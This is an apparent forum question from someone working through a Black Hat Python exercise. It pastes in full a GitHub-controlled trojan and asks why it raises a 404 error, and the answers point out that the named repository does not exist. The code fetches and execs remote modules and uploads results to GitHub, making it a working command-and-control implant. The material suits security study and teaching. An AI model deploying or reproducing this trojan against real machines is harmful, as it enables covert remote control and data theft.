Home > other >  black hat python chapter 7, I'm getting the error "github3.exceptions.NotFoundError:404&qu
black hat python chapter 7, I'm getting the error "github3.exceptions.NotFoundError:404&qu

Time:02-11

I've been following a book called Black Hat Python 2nd edition and, when it comes to the task in chapter 7, I'm getting errors like the titular "github3.exceptions.NotFoundError:404" i have no idea on how to fix it and looking at other questions has, unfortunately, not helped me. I'm going to put here the program in its entirety and all of the errors that i get when i run it. I hope that some of you can help me.

full program:

import base64
import github3
import importlib
import json
import sys
import random
import threading
import time
from datetime import datetime

def connect_to_github():
    with open("mytoken.txt") as f:
        token = f.read()
    user = 'Anderaxarex'
    sess = github3.login(token=token)
    return sess.repository(user, 'bhptrojan')

def get_content(dirname, module_name, repo):
    return repo.file_contents(f'{dirname}/{module_name}').content

class Trojan:
    def __init__(self, id):
        self.id = id
        self.config_file = f'{id}.json'
        self.repo = connect_to_github()
        self.data_path = f'data/{id}'

    def get_config(self):
        config_file = get_content('config', self.config_file, self.repo)
        config = json.loads(base64.b64decode(config_file))

        for task in config:
            if task['module'] not in sys.modules:
                exec("import %s" % task['module'])
        return config

    def store_result(self, data):
        message = datetime.now().isoformat()
        remotepath = f'data/{self.id}/{message}.data'
        bindata = bytes('%r' % data, 'utf-8')
        self.repo.create_file(remotepath, message, base64.b64decode(bindata))

    def module_runner(self, module):
        result = sys.modules[module].run()
        self.store_result(result)

    def run(self):
        while True:
            config = self.get_config()
            for task in config:
                thread = threading.Thread(
                    target=self.module_runner, 
                    args=(task['module'],)
                )
                thread.start()
                time.sleep(random.randint(1, 10))

            time.sleep(random.randint(3*60, 3*60*60))

class GitImporter:
    def __init__(self):
        self.current_module_code=""
        self.repo = connect_to_github()
    
    def find_module(self, name, path=None):
        print("[||] Retrieving %s" % name)
        self.repo = connect_to_github()
        new_library = get_content('modules', f'{name}.py', self.repo)
        if new_library is not None:
            self.current_module_code = base64.b64decode(new_library)
            return self
    
    def load_modules(self, name):
        spec = importlib.util.spec_from_loader(name, loader=None, origin=self.repo.git_url)
        new_module = importlib.util.module_from_spec(spec)
        exec(self.current_module_code, new_module.__dict__)
        sys.modules[spec.name] = new_module
        return new_module

if __name__ == '__main__':
    sys.meta_path.append(GitImporter())
    trojan = Trojan(f'{random.randint(1000, 10000)}')
    trojan.run()

error messages:

Traceback (most recent call last):
  File "tro.py", line 83, in <module>
    trojan.run()
  File "tro.py", line 49, in run
    config = self.get_config()
  File "tro.py", line 29, in get_config
    config_file = get_content('config', self.config_file, self.repo)
  File "tro.py", line 19, in get_content
    return repo.file_contents(f'{dirname}/{module_name}').content
  File "C:\Users\ascar\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.8_qbz5n2kfra8p0\LocalCache\local-packages\Python38\site-packages\github3\repos\repo.py", line 1676, in file_contents
    json = self._json(self._get(url, params={"ref": ref}), 200)
  File "C:\Users\ascar\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.8_qbz5n2kfra8p0\LocalCache\local-packages\Python38\site-packages\github3\models.py", line 153, in _json
    raise exceptions.error_for(response)
github3.exceptions.NotFoundError: 404 Not Found

CodePudding user response:

You're getting this error because the repo you are trying to connect to, doesn't exist in GitHub.

You can verify this from your browser. Go to https://github.com/Anderaxarex/bhptrojan in your browser. It doesn't exist.

CodePudding user response:

I don't know the book specifically, but have browsed through chapter 7 from the 1st edition. If I am correct then Anderaxarex is your username. In that case, you will need to create the repository bhptrojan on your github account.

  • Related